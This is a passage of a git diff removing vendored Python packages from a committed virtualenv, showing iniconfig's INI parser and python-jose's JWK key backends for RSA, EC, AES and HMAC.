lineno = self._sources.get((section, name)) - return None if lineno is None else lineno + 1 - - @overload - def get( - self, - section: str, - name: str, - ) -> str | None: ... - - @overload - def get( - self, - section: str, - name: str, - convert: Callable[[str], _T], - ) -> _T | None: ... - - @overload - def get( - self, - section: str, - name: str, - default: None, - convert: Callable[[str], _T], - ) -> _T | None: ... - - @overload - def get( - self, section: str, name: str, default: _D, convert: None = None - ) -> str | _D: ... - - @overload - def get( - self, - section: str, - name: str, - default: _D, - convert: Callable[[str], _T], - ) -> _T | _D: ... - - def get( # type: ignore - self, - section: str, - name: str, - default: _D | None = None, - convert: Callable[[str], _T] | None = None, - ) -> _D | _T | str | None: - try: - value: str = self.sections[section][name] - except KeyError: - return default - else: - if convert is not None: - return convert(value) - else: - return value - - def __getitem__(self, name: str) -> SectionWrapper: - if name not in self.sections: - raise KeyError(name) - return SectionWrapper(self, name) - - def __iter__(self) -> Iterator[SectionWrapper]: - for name in sorted(self.sections, key=self.lineof): # type: ignore - yield SectionWrapper(self, name) - - def __contains__(self, arg: str) -> bool: - return arg in self.sections diff --git a/venv/Lib/site-packages/iniconfig/_parse.py b/venv/Lib/site-packages/iniconfig/_parse.py deleted file mode 100644 index 57b9b44e4cccca635651b8d4380aed1e2ab020a8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/iniconfig/_parse.py +++ /dev/null @@ -1,163 +0,0 @@ -from collections.abc import Mapping -from typing import NamedTuple - -from .exceptions import ParseError - -COMMENTCHARS = "#;" - - -class ParsedLine(NamedTuple): - lineno: int - section: str | None - name: str | None - value: str | None - - -def parse_ini_data( - path: str, - data: str, - *, - strip_inline_comments: bool, - strip_section_whitespace: bool = False, -) -> tuple[Mapping[str, Mapping[str, str]], Mapping[tuple[str, str | None], int]]: - """Parse INI data and return sections and sources mappings. - - Args: - path: Path for error messages - data: INI content as string - strip_inline_comments: Whether to strip inline comments from values - strip_section_whitespace: Whether to strip whitespace from section and key names - (default: False). When True, addresses issue #4 by stripping Unicode whitespace. - - Returns: - Tuple of (sections_data, sources) where: - - sections_data: mapping of section -> {name -> value} - - sources: mapping of (section, name) -> line number - """ - tokens = parse_lines( - path, - data.splitlines(True), - strip_inline_comments=strip_inline_comments, - strip_section_whitespace=strip_section_whitespace, - ) - - sources: dict[tuple[str, str | None], int] = {} - sections_data: dict[str, dict[str, str]] = {} - - for lineno, section, name, value in tokens: - if section is None: - raise ParseError(path, lineno, "no section header defined") - sources[section, name] = lineno - if name is None: - if section in sections_data: - raise ParseError(path, lineno, f"duplicate section {section!r}") - sections_data[section] = {} - else: - if name in sections_data[section]: - raise ParseError(path, lineno, f"duplicate name {name!r}") - assert value is not None - sections_data[section][name] = value - - return sections_data, sources - - -def parse_lines( - path: str, - line_iter: list[str], - *, - strip_inline_comments: bool = False, - strip_section_whitespace: bool = False, -) -> list[ParsedLine]: - result: list[ParsedLine] = [] - section = None - for lineno, line in enumerate(line_iter): - name, data = _parseline( - path, line, lineno, strip_inline_comments, strip_section_whitespace - ) - # new value - if name is not None and data is not None: - result.append(ParsedLine(lineno, section, name, data)) - # new section - elif name is not None and data is None: - if not name: - raise ParseError(path, lineno, "empty section name") - section = name - result.append(ParsedLine(lineno, section, None, None)) - # continuation - elif name is None and data is not None: - if not result: - raise ParseError(path, lineno, "unexpected value continuation") - last = result.pop() - if last.name is None: - raise ParseError(path, lineno, "unexpected value continuation") - - if last.value: - last = last._replace(value=f"{last.value}\n{data}") - else: - last = last._replace(value=data) - result.append(last) - return result - - -def _parseline( - path: str, - line: str, - lineno: int, - strip_inline_comments: bool, - strip_section_whitespace: bool, -) -> tuple[str | None, str | None]: - # blank lines - if iscommentline(line): - line = "" - else: - line = line.rstrip() - if not line: - return None, None - # section - if line[0] == "[": - realline = line - for c in COMMENTCHARS: - line = line.split(c)[0].rstrip() - if line[-1] == "]": - section_name = line[1:-1] - # Optionally strip whitespace from section name (issue #4) - if strip_section_whitespace: - section_name = section_name.strip() - return section_name, None - return None, realline.strip() - # value - elif not line[0].isspace(): - try: - name, value = line.split("=", 1) - if ":" in name: - raise ValueError() - except ValueError: - try: - name, value = line.split(":", 1) - except ValueError: - raise ParseError(path, lineno, f"unexpected line: {line!r}") from None - - # Strip key name (always for backward compatibility, optionally with unicode awareness) - key_name = name.strip() - - # Strip value - value = value.strip() - # Strip inline comments from values if requested (issue #55) - if strip_inline_comments: - for c in COMMENTCHARS: - value = value.split(c)[0].rstrip() - - return key_name, value - # continuation - else: - line = line.strip() - # Strip inline comments from continuations if requested (issue #55) - if strip_inline_comments: - for c in COMMENTCHARS: - line = line.split(c)[0].rstrip() - return None, line - - -def iscommentline(line: str) -> bool: - c = line.lstrip()[:1] - return c in COMMENTCHARS diff --git a/venv/Lib/site-packages/iniconfig/_version.py b/venv/Lib/site-packages/iniconfig/_version.py deleted file mode 100644 index b982b024d8649c68b58ba29198fab080774ddf5f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/iniconfig/_version.py +++ /dev/null @@ -1,34 +0,0 @@ -# file generated by setuptools-scm -# don't change, don't track in version control - -__all__ = [ - "__version__", - "__version_tuple__", - "version", - "version_tuple", - "__commit_id__", - "commit_id", -] - -TYPE_CHECKING = False -if TYPE_CHECKING: - from typing import Tuple - from typing import Union - - VERSION_TUPLE = Tuple[Union[int, str], ...] - COMMIT_ID = Union[str, None] -else: - VERSION_TUPLE = object - COMMIT_ID = object - -version: str -__version__: str -__version_tuple__: VERSION_TUPLE -version_tuple: VERSION_TUPLE -commit_id: COMMIT_ID -__commit_id__: COMMIT_ID - -__version__ = version = '2.3.0' -__version_tuple__ = version_tuple = (2, 3, 0) - -__commit_id__ = commit_id = None diff --git a/venv/Lib/site-packages/iniconfig/exceptions.py b/venv/Lib/site-packages/iniconfig/exceptions.py deleted file mode 100644 index d078bc659504cf79d3cedefe66dd828af9a9d9e0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/iniconfig/exceptions.py +++ /dev/null @@ -1,16 +0,0 @@ -from typing import Final - - -class ParseError(Exception): - path: Final[str] - lineno: Final[int] - msg: Final[str] - - def __init__(self, path: str, lineno: int, msg: str) -> None: - super().__init__(path, lineno, msg) - self.path = path - self.lineno = lineno - self.msg = msg - - def __str__(self) -> str: - return f"{self.path}:{self.lineno + 1}: {self.msg}" diff --git a/venv/Lib/site-packages/iniconfig/py.typed b/venv/Lib/site-packages/iniconfig/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/jose/__init__.py b/venv/Lib/site-packages/jose/__init__.py deleted file mode 100644 index 7e53b60c1d88cf3b96afc1b81ef1d048270054b4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/__init__.py +++ /dev/null @@ -1,10 +0,0 @@ -__version__ = "3.5.0" -__author__ = "Michael Davis" -__license__ = "MIT" -__copyright__ = "Copyright 2016 Michael Davis" - - -from .exceptions import ExpiredSignatureError # noqa: F401 -from .exceptions import JOSEError # noqa: F401 -from .exceptions import JWSError # noqa: F401 -from .exceptions import JWTError # noqa: F401 diff --git a/venv/Lib/site-packages/jose/backends/__init__.py b/venv/Lib/site-packages/jose/backends/__init__.py deleted file mode 100644 index 991896913748a68335bf5d7eb38fb543e9e12d6d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/backends/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -from jose.backends.native import get_random_bytes # noqa: F401 - -try: - from jose.backends.cryptography_backend import CryptographyRSAKey as RSAKey # noqa: F401 -except ImportError: - try: - from jose.backends.rsa_backend import RSAKey # noqa: F401 - except ImportError: - RSAKey = None - -try: - from jose.backends.cryptography_backend import CryptographyECKey as ECKey # noqa: F401 -except ImportError: - from jose.backends.ecdsa_backend import ECDSAECKey as ECKey # noqa: F401 - -try: - from jose.backends.cryptography_backend import CryptographyAESKey as AESKey # noqa: F401 -except ImportError: - AESKey = None - -try: - from jose.backends.cryptography_backend import CryptographyHMACKey as HMACKey # noqa: F401 -except ImportError: - from jose.backends.native import HMACKey # noqa: F401 - -from .base import DIRKey # noqa: F401 diff --git a/venv/Lib/site-packages/jose/backends/_asn1.py b/venv/Lib/site-packages/jose/backends/_asn1.py deleted file mode 100644 index 87e3df1b89eabcfd0c69e2dd099b79471933d2ab..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/backends/_asn1.py +++ /dev/null @@ -1,84 +0,0 @@ -"""ASN1 encoding helpers for converting between PKCS1 and PKCS8. - -Required by rsa_backend but not cryptography_backend. -""" - -from pyasn1.codec.der import decoder, encoder -from pyasn1.type import namedtype, univ - -RSA_ENCRYPTION_ASN1_OID = "1.2.840.113549.1.1.1" - - -class RsaAlgorithmIdentifier(univ.Sequence): - """ASN1 structure for recording RSA PrivateKeyAlgorithm identifiers.""" - - componentType = namedtype.NamedTypes( - namedtype.NamedType("rsaEncryption", univ.ObjectIdentifier()), namedtype.NamedType("parameters", univ.Null()) - ) - - -class PKCS8PrivateKey(univ.Sequence): - """ASN1 structure for recording PKCS8 private keys.""" - - componentType = namedtype.NamedTypes( - namedtype.NamedType("version", univ.Integer()), - namedtype.NamedType("privateKeyAlgorithm", RsaAlgorithmIdentifier()), - namedtype.NamedType("privateKey", univ.OctetString()), - ) - - -class PublicKeyInfo(univ.Sequence): - """ASN1 structure for recording PKCS8 public keys.""" - - componentType = namedtype.NamedTypes( - namedtype.NamedType("algorithm", RsaAlgorithmIdentifier()), namedtype.NamedType("publicKey", univ.BitString()) - ) - - -def rsa_private_key_pkcs8_to_pkcs1(pkcs8_key): - """Convert a PKCS8-encoded RSA private key to PKCS1.""" - decoded_values = decoder.decode(pkcs8_key, asn1Spec=PKCS8PrivateKey()) - - try: - decoded_key = decoded_values[0] - except IndexError: - raise ValueError("Invalid private key encoding") - - return decoded_key["privateKey"] - - -def rsa_private_key_pkcs1_to_pkcs8(pkcs1_key): - """Convert a PKCS1-encoded RSA private key to PKCS8.""" - algorithm = RsaAlgorithmIdentifier() - algorithm["rsaEncryption"] = RSA_ENCRYPTION_ASN1_OID - - pkcs8_key = PKCS8PrivateKey() - pkcs8_key["version"] = 0 - pkcs8_key["privateKeyAlgorithm"] = algorithm - pkcs8_key["privateKey"] = pkcs1_key - - return encoder.encode(pkcs8_key) - - -def rsa_public_key_pkcs1_to_pkcs8(pkcs1_key): - """Convert a PKCS1-encoded RSA private key to PKCS8.""" - algorithm = RsaAlgorithmIdentifier() - algorithm["rsaEncryption"] = RSA_ENCRYPTION_ASN1_OID - - pkcs8_key = PublicKeyInfo() - pkcs8_key["algorithm"] = algorithm - pkcs8_key["publicKey"] = univ.BitString.fromOctetString(pkcs1_key) - - return encoder.encode(pkcs8_key) - - -def rsa_public_key_pkcs8_to_pkcs1(pkcs8_key): - """Convert a PKCS8-encoded RSA private key to PKCS1.""" - decoded_values = decoder.decode(pkcs8_key, asn1Spec=PublicKeyInfo()) - - try: - decoded_key = decoded_values[0] - except IndexError: - raise ValueError("Invalid public key encoding.") - - return decoded_key["publicKey"].asOctets() diff --git a/venv/Lib/site-packages/jose/backends/base.py b/venv/Lib/site-packages/jose/backends/base.py deleted file mode 100644 index b000a5253afae35681aa2013a073e625b71c1628..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/backends/base.py +++ /dev/null @@ -1,89 +0,0 @@ -from ..utils import base64url_encode, ensure_binary - - -class Key: - """ - A simple interface for implementing JWK keys. - """ - - def __init__(self, key, algorithm): - pass - - def sign(self, msg): - raise NotImplementedError() - - def verify(self, msg, sig): - raise NotImplementedError() - - def public_key(self): - raise NotImplementedError() - - def to_pem(self): - raise NotImplementedError() - - def to_dict(self): - raise NotImplementedError() - - def encrypt(self, plain_text, aad=None): - """ - Encrypt the plain text and generate an auth tag if appropriate - - Args: - plain_text (bytes): Data to encrypt - aad (bytes, optional): Authenticated Additional Data if key's algorithm supports auth mode - - Returns: - (bytes, bytes, bytes): IV, cipher text, and auth tag - """ - raise NotImplementedError() - - def decrypt(self, cipher_text, iv=None, aad=None, tag=None): - """ - Decrypt the cipher text and validate the auth tag if present - Args: - cipher_text (bytes): Cipher text to decrypt - iv (bytes): IV if block mode - aad (bytes): Additional Authenticated Data to verify if auth mode - tag (bytes): Authentication tag if auth mode - - Returns: - bytes: Decrypted value - """ - raise NotImplementedError() - - def wrap_key(self, key_data): - """ - Wrap the the plain text key data - - Args: - key_data (bytes): Key data to wrap - - Returns: - bytes: Wrapped key - """ - raise NotImplementedError() - - def unwrap_key(self, wrapped_key): - """ - Unwrap the the wrapped key data - - Args: - wrapped_key (bytes): Wrapped key data to unwrap - - Returns: - bytes: Unwrapped key - """ - raise NotImplementedError() - - -class DIRKey(Key): - def __init__(self, key_data, algorithm): - self._key = ensure_binary(key_data) - self._alg = algorithm - - def to_dict(self): - return { - "alg": self._alg, - "kty": "oct", - "k": base64url_encode(self._key), - } diff --git a/venv/Lib/site-packages/jose/backends/cryptography_backend.py b/venv/Lib/site-packages/jose/backends/cryptography_backend.py deleted file mode 100644 index ec836b4ce126beec946bf8d7a92f1896c0f23711..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/backends/cryptography_backend.py +++ /dev/null @@ -1,586 +0,0 @@ -import math -import warnings - -from cryptography.exceptions import InvalidSignature, InvalidTag -from cryptography.hazmat.backends import default_backend -from cryptography.hazmat.primitives import hashes, hmac, serialization -from cryptography.hazmat.primitives.asymmetric import ec, padding, rsa -from cryptography.hazmat.primitives.asymmetric.utils import decode_dss_signature, encode_dss_signature -from cryptography.hazmat.primitives.ciphers import Cipher, aead, algorithms, modes -from cryptography.hazmat.primitives.keywrap import InvalidUnwrap, aes_key_unwrap, aes_key_wrap -from cryptography.hazmat.primitives.padding import PKCS7 -from cryptography.hazmat.primitives.serialization import load_pem_private_key, load_pem_public_key -from cryptography.utils import int_to_bytes -from cryptography.x509 import load_pem_x509_certificate - -from ..constants import ALGORITHMS -from ..exceptions import JWEError, JWKError -from ..utils import ( - base64_to_long, - base64url_decode, - base64url_encode, - ensure_binary, - is_pem_format, - is_ssh_key, - long_to_base64, -) -from . import get_random_bytes -from .base import Key - -_binding = None - - -class CryptographyECKey(Key): - SHA256 = hashes.SHA256 - SHA384 = hashes.SHA384 - SHA512 = hashes.SHA512 - - def __init__(self, key, algorithm, cryptography_backend=default_backend): - if algorithm not in ALGORITHMS.EC: - raise JWKError("hash_alg: %s is not a valid hash algorithm" % algorithm) - - self.hash_alg = { - ALGORITHMS.ES256: self.SHA256, - ALGORITHMS.ES384: self.SHA384, - ALGORITHMS.ES512: self.SHA512, - }.get(algorithm) - self._algorithm = algorithm - - self.cryptography_backend = cryptography_backend - - if hasattr(key, "public_bytes") or hasattr(key, "private_bytes"): - self.prepared_key = key - return - - if hasattr(key, "to_pem"): - # convert to PEM and let cryptography below load it as PEM - key = key.to_pem().decode("utf-8") - - if isinstance(key, dict): - self.prepared_key = self._process_jwk(key) - return - - if isinstance(key, str): - key = key.encode("utf-8") - - if isinstance(key, bytes): - # Attempt to load key. We don't know if it's - # a Public Key or a Private Key, so we try - # the Public Key first. - try: - try: - key = load_pem_public_key(key, self.cryptography_backend()) - except ValueError: - key = load_pem_private_key(key, password=None, backend=self.cryptography_backend()) - except Exception as e: - raise JWKError(e) - - self.prepared_key = key - return - - raise JWKError("Unable to parse an ECKey from key: %s" % key) - - def _process_jwk(self, jwk_dict): - if not jwk_dict.get("kty") == "EC": - raise JWKError("Incorrect key type. Expected: 'EC', Received: %s" % jwk_dict.get("kty")) - - if not all(k in jwk_dict for k in ["x", "y", "crv"]): - raise JWKError("Mandatory parameters are missing") - - x = base64_to_long(jwk_dict.get("x")) - y = base64_to_long(jwk_dict.get("y")) - curve = { - "P-256": ec.SECP256R1, - "P-384": ec.SECP384R1, - "P-521": ec.SECP521R1, - }[jwk_dict["crv"]] - - public = ec.EllipticCurvePublicNumbers(x, y, curve()) - - if "d" in jwk_dict: - d = base64_to_long(jwk_dict.get("d")) - private = ec.EllipticCurvePrivateNumbers(d, public) - - return private.private_key(self.cryptography_backend()) - else: - return public.public_key(self.cryptography_backend()) - - def _sig_component_length(self): - """Determine the correct serialization length for an encoded signature component. - - This is the number of bytes required to encode the maximum key value. - """ - return int(math.ceil(self.prepared_key.key_size / 8.0)) - - def _der_to_raw(self, der_signature): - """Convert signature from DER encoding to RAW encoding.""" - r, s = decode_dss_signature(der_signature) - component_length = self._sig_component_length() - return int_to_bytes(r, component_length) + int_to_bytes(s, component_length) - - def _raw_to_der(self, raw_signature): - """Convert signature from RAW encoding to DER encoding.""" - component_length = self._sig_component_length() - if len(raw_signature) != int(2 * component_length): - raise ValueError("Invalid signature") - - r_bytes = raw_signature[:component_length] - s_bytes = raw_signature[component_length:] - r = int.from_bytes(r_bytes, "big") - s = int.from_bytes(s_bytes, "big") - return encode_dss_signature(r, s) - - def sign(self, msg): - if self.hash_alg.digest_size * 8 > self.prepared_key.curve.key_size: - raise TypeError( - "this curve (%s) is too short " - "for your digest (%d)" % (self.prepared_key.curve.name, 8 * self.hash_alg.digest_size) - ) - signature = self.prepared_key.sign(msg, ec.ECDSA(self.hash_alg())) - return self._der_to_raw(signature) - - def verify(self, msg, sig): - try: - signature = self._raw_to_der(sig) - self.prepared_key.verify(signature, msg, ec.ECDSA(self.hash_alg())) - return True - except Exception: - return False - - def is_public(self): - return hasattr(self.prepared_key, "public_bytes") - - def public_key(self): - if self.is_public(): - return self - return self.__class__(self.prepared_key.public_key(), self._algorithm) - - def to_pem(self): - if self.is_public(): - pem = self.prepared_key.public_bytes( - encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo - ) - return pem - pem = self.prepared_key.private_bytes( - encoding=serialization.Encoding.PEM, - format=serialization.PrivateFormat.TraditionalOpenSSL, - encryption_algorithm=serialization.NoEncryption(), - ) - return pem - - def to_dict(self): - if not self.is_public(): - public_key = self.prepared_key.public_key() - else: - public_key = self.prepared_key - - crv = { - "secp256r1": "P-256", - "secp384r1": "P-384", - "secp521r1": "P-521", - }[self.prepared_key.curve.name] - - # Calculate the key size in bytes. Section 6.2.1.2 and 6.2.1.3 of - # RFC7518 prescribes that the 'x', 'y' and 'd' parameters of the curve - # points must be encoded as octed-strings of this length. - key_size = (self.prepared_key.curve.key_size + 7) // 8 - - data = { - "alg": self._algorithm, - "kty": "EC", - "crv": crv, - "x": long_to_base64(public_key.public_numbers().x, size=key_size).decode("ASCII"), - "y": long_to_base64(public_key.public_numbers().y, size=key_size).decode("ASCII"), - } - - if not self.is_public(): - private_value = self.prepared_key.private_numbers().private_value - data["d"] = long_to_base64(private_value, size=key_size).decode("ASCII") - - return data - - -class CryptographyRSAKey(Key): - SHA256 = hashes.SHA256 - SHA384 = hashes.SHA384 - SHA512 = hashes.SHA512 - - RSA1_5 = padding.PKCS1v15() - RSA_OAEP = padding.OAEP(padding.MGF1(hashes.SHA1()), hashes.SHA1(), None) - RSA_OAEP_256 = padding.OAEP(padding.MGF1(hashes.SHA256()), hashes.SHA256(), None) - - def __init__(self, key, algorithm, cryptography_backend=default_backend): - if algorithm not in ALGORITHMS.RSA: - raise JWKError("hash_alg: %s is not a valid hash algorithm" % algorithm) - - self.hash_alg = { - ALGORITHMS.RS256: self.SHA256, - ALGORITHMS.RS384: self.SHA384, - ALGORITHMS.RS512: self.SHA512, - }.get(algorithm) - self._algorithm = algorithm - - self.padding = { - ALGORITHMS.RSA1_5: self.RSA1_5, - ALGORITHMS.RSA_OAEP: self.RSA_OAEP, - ALGORITHMS.RSA_OAEP_256: self.RSA_OAEP_256, - }.get(algorithm) - - self.cryptography_backend = cryptography_backend - - # if it conforms to RSAPublicKey or RSAPrivateKey interface - if (hasattr(key, "public_bytes") and hasattr(key, "public_numbers")) or hasattr(key, "private_bytes"): - self.prepared_key = key - return - - if isinstance(key, dict): - self.prepared_key = self._process_jwk(key) - return - - if isinstance(key, str): - key = key.encode("utf-8") - - if isinstance(key, bytes): - try: - if key.startswith(b"-----BEGIN CERTIFICATE-----"): - self._process_cert(key) - return - - try: - self.prepared_key = load_pem_public_key(key, self.cryptography_backend()) - except ValueError: - self.prepared_key = load_pem_private_key(key, password=None, backend=self.cryptography_backend()) - except Exception as e: - raise JWKError(e) - return - - raise JWKError("Unable to parse an RSA_JWK from key: %s" % key) - - def _process_jwk(self, jwk_dict): - if not jwk_dict.get("kty") == "RSA": - raise JWKError("Incorrect key type. Expected: 'RSA', Received: %s" % jwk_dict.get("kty")) - - e = base64_to_long(jwk_dict.get("e", 256)) - n = base64_to_long(jwk_dict.get("n")) - public = rsa.RSAPublicNumbers(e, n) - - if "d" not in jwk_dict: - return public.public_key(self.cryptography_backend()) - else: - # This is a private key. - d = base64_to_long(jwk_dict.get("d")) - - extra_params = ["p", "q", "dp", "dq", "qi"] - - if any(k in jwk_dict for k in extra_params): - # Precomputed private key parameters are available. - if not all(k in jwk_dict for k in extra_params): - # These values must be present when 'p' is according to - # Section 6.3.2 of RFC7518, so if they are not we raise - # an error. - raise JWKError("Precomputed private key parameters are incomplete.") - - p = base64_to_long(jwk_dict["p"]) - q = base64_to_long(jwk_dict["q"]) - dp = base64_to_long(jwk_dict["dp"]) - dq = base64_to_long(jwk_dict["dq"]) - qi = base64_to_long(jwk_dict["qi"]) - else: - # The precomputed private key parameters are not available, - # so we use cryptography's API to fill them in. - p, q = rsa.rsa_recover_prime_factors(n, e, d) - dp = rsa.rsa_crt_dmp1(d, p) - dq = rsa.rsa_crt_dmq1(d, q) - qi = rsa.rsa_crt_iqmp(p, q) - - private = rsa.RSAPrivateNumbers(p, q, d, dp, dq, qi, public) - - return private.private_key(self.cryptography_backend()) - - def _process_cert(self, key): - key = load_pem_x509_certificate(key, self.cryptography_backend()) - self.prepared_key = key.public_key() - - def sign(self, msg): - try: - signature = self.prepared_key.sign(msg, padding.PKCS1v15(), self.hash_alg()) - except Exception as e: - raise JWKError(e) - return signature - - def verify(self, msg, sig): - if not self.is_public(): - warnings.warn("Attempting to verify a message with a private key. " "This is not recommended.") - - try: - self.public_key().prepared_key.verify(sig, msg, padding.PKCS1v15(), self.hash_alg()) - return True - except InvalidSignature: - return False - - def is_public(self): - return hasattr(self.prepared_key, "public_bytes") - - def public_key(self): - if self.is_public(): - return self - return self.__class__(self.prepared_key.public_key(), self._algorithm) - - def to_pem(self, pem_format="PKCS8"): - if self.is_public(): - if pem_format == "PKCS8": - fmt = serialization.PublicFormat.SubjectPublicKeyInfo - elif pem_format == "PKCS1": - fmt = serialization.PublicFormat.PKCS1 - else: - raise ValueError("Invalid format specified: %r" % pem_format) - pem = self.prepared_key.public_bytes(encoding=serialization.Encoding.PEM, format=fmt) - return pem - - if pem_format == "PKCS8": - fmt = serialization.PrivateFormat.PKCS8 - elif pem_format == "PKCS1": - fmt = serialization.PrivateFormat.TraditionalOpenSSL - else: - raise ValueError("Invalid format specified: %r" % pem_format) - - return self.prepared_key.private_bytes( - encoding=serialization.Encoding.PEM, format=fmt, encryption_algorithm=serialization.NoEncryption() - ) - - def to_dict(self): - if not self.is_public(): - public_key = self.prepared_key.public_key() - else: - public_key = self.prepared_key - - data = { - "alg": self._algorithm, - "kty": "RSA", - "n": long_to_base64(public_key.public_numbers().n).decode("ASCII"), - "e": long_to_base64(public_key.public_numbers().e).decode("ASCII"), - } - - if not self.is_public(): - data.update( - { - "d": long_to_base64(self.prepared_key.private_numbers().d).decode("ASCII"), - "p": long_to_base64(self.prepared_key.private_numbers().p).decode("ASCII"), - "q": long_to_base64(self.prepared_key.private_numbers().q).decode("ASCII"), - "dp": long_to_base64(self.prepared_key.private_numbers().dmp1).decode("ASCII"), - "dq": long_to_base64(self.prepared_key.private_numbers().dmq1).decode("ASCII"), - "qi": long_to_base64(self.prepared_key.private_numbers().iqmp).decode("ASCII"), - } - ) - - return data - - def wrap_key(self, key_data): - try: - wrapped_key = self.prepared_key.encrypt(key_data, self.padding) - except Exception as e: - raise JWEError(e) - - return wrapped_key - - def unwrap_key(self, wrapped_key): - try: - unwrapped_key = self.prepared_key.decrypt(wrapped_key, self.padding) - return unwrapped_key - except Exception as e: - raise JWEError(e) - - -class CryptographyAESKey(Key): - KEY_128 = (ALGORITHMS.A128GCM, ALGORITHMS.A128GCMKW, ALGORITHMS.A128KW, ALGORITHMS.A128CBC) - KEY_192 = (ALGORITHMS.A192GCM, ALGORITHMS.A192GCMKW, ALGORITHMS.A192KW, ALGORITHMS.A192CBC) - KEY_256 = ( - ALGORITHMS.A256GCM, - ALGORITHMS.A256GCMKW, - ALGORITHMS.A256KW, - ALGORITHMS.A128CBC_HS256, - ALGORITHMS.A256CBC, - ) - KEY_384 = (ALGORITHMS.A192CBC_HS384,) - KEY_512 = (ALGORITHMS.A256CBC_HS512,) - - AES_KW_ALGS = (ALGORITHMS.A128KW, ALGORITHMS.A192KW, ALGORITHMS.A256KW) - - MODES = { - ALGORITHMS.A128GCM: modes.GCM, - ALGORITHMS.A192GCM: modes.GCM, - ALGORITHMS.A256GCM: modes.GCM, - ALGORITHMS.A128CBC_HS256: modes.CBC, - ALGORITHMS.A192CBC_HS384: modes.CBC, - ALGORITHMS.A256CBC_HS512: modes.CBC, - ALGORITHMS.A128CBC: modes.CBC, - ALGORITHMS.A192CBC: modes.CBC, - ALGORITHMS.A256CBC: modes.CBC, - ALGORITHMS.A128GCMKW: modes.GCM, - ALGORITHMS.A192GCMKW: modes.GCM, - ALGORITHMS.A256GCMKW: modes.GCM, - ALGORITHMS.A128KW: None, - ALGORITHMS.A192KW: None, - ALGORITHMS.A256KW: None, - } - - IV_BYTE_LENGTH_MODE_MAP = {"CBC": algorithms.AES.block_size // 8, "GCM": 96 // 8} - - def __init__(self, key, algorithm): - if algorithm not in ALGORITHMS.AES: - raise JWKError("%s is not a valid AES algorithm" % algorithm) - if algorithm not in ALGORITHMS.SUPPORTED.union(ALGORITHMS.AES_PSEUDO): - raise JWKError("%s is not a supported algorithm" % algorithm) - - self._algorithm = algorithm - self._mode = self.MODES.get(self._algorithm) - - if algorithm in self.KEY_128 and len(key) != 16: - raise JWKError(f"Key must be 128 bit for alg {algorithm}") - elif algorithm in self.KEY_192 and len(key) != 24: - raise JWKError(f"Key must be 192 bit for alg {algorithm}") - elif algorithm in self.KEY_256 and len(key) != 32: - raise JWKError(f"Key must be 256 bit for alg {algorithm}") - elif algorithm in self.KEY_384 and len(key) != 48: - raise JWKError(f"Key must be 384 bit for alg {algorithm}") - elif algorithm in self.KEY_512 and len(key) != 64: - raise JWKError(f"Key must be 512 bit for alg {algorithm}") - - self._key = key - - def to_dict(self): - data = {"alg": self._algorithm, "kty": "oct", "k": base64url_encode(self._key)} - return data - - def encrypt(self, plain_text, aad=None): - plain_text = ensure_binary(plain_text) - try: - iv_byte_length = self.IV_BYTE_LENGTH_MODE_MAP.get(self._mode.name, algorithms.AES.block_size) - iv = get_random_bytes(iv_byte_length) - mode = self._mode(iv) - if mode.name == "GCM": - cipher = aead.AESGCM(self._key) - cipher_text_and_tag = cipher.encrypt(iv, plain_text, aad) - cipher_text = cipher_text_and_tag[: len(cipher_text_and_tag) - 16] - auth_tag = cipher_text_and_tag[-16:] - else: - cipher = Cipher(algorithms.AES(self._key), mode, backend=default_backend()) - encryptor = cipher.encryptor() - padder = PKCS7(algorithms.AES.block_size).padder() - padded_data = padder.update(plain_text) - padded_data += padder.finalize() - cipher_text = encryptor.update(padded_data) + encryptor.finalize() - auth_tag = None - return iv, cipher_text, auth_tag - except Exception as e: - raise JWEError(e) - - def decrypt(self, cipher_text, iv=None, aad=None, tag=None): - cipher_text = ensure_binary(cipher_text) - try: - iv = ensure_binary(iv) - mode = self._mode(iv) - if mode.name == "GCM": - if tag is None: - raise ValueError("tag cannot be None") - cipher = aead.AESGCM(self._key) - cipher_text_and_tag = cipher_text + tag - try: - plain_text = cipher.decrypt(iv, cipher_text_and_tag, aad) - except InvalidTag: - raise JWEError("Invalid JWE Auth Tag") - else: - cipher = Cipher(algorithms.AES(self._key), mode, backend=default_backend()) - decryptor = cipher.decryptor() - padded_plain_text = decryptor.update(cipher_text) - padded_plain_text += decryptor.finalize() - unpadder = PKCS7(algorithms.AES.block_size).unpadder() - plain_text = unpadder.update(padded_plain_text) - plain_text += unpadder.finalize() - - return plain_text - except Exception as e: - raise JWEError(e) - - def wrap_key(self, key_data): - key_data = ensure_binary(key_data) - cipher_text = aes_key_wrap(self._key, key_data, default_backend()) - return cipher_text # IV, cipher text, auth tag - - def unwrap_key(self, wrapped_key): - wrapped_key = ensure_binary(wrapped_key) - try: - plain_text = aes_key_unwrap(self._key, wrapped_key, default_backend()) - except InvalidUnwrap as cause: - raise JWEError(cause) - return plain_text - - -class CryptographyHMACKey(Key): - """ - Performs signing and verification operations using HMAC - and the specified hash function. - """ - - ALG_MAP = {ALGORITHMS.HS256: hashes.SHA256(), ALGORITHMS.HS384: hashes.SHA384(), ALGORITHMS.HS512: hashes.SHA512()} - - def __init__(self, key, algorithm): - if algorithm not in ALGORITHMS.HMAC: - raise JWKError("hash_alg: %s is not a valid hash algorithm" % algorithm) - self._algorithm = algorithm - self._hash_alg = self.ALG_MAP.get(algorithm) - - if isinstance(key, dict): - self.prepared_key = self._process_jwk(key) - return - - if not isinstance(key, str) and not isinstance(key, bytes): - raise JWKError("Expecting a string- or bytes-formatted key.") - - if isinstance(key, str): - key = key.encode("utf-8") - - if is_pem_format(key) or is_ssh_key(key): - raise JWKError( - "The specified key is an asymmetric key or x509 certificate and" - " should not be used as an HMAC secret." - ) - - self.prepared_key = key - - def _process_jwk(self, jwk_dict): - if not jwk_dict.get("kty") == "oct": - raise JWKError("Incorrect key type. Expected: 'oct', Received: %s" % 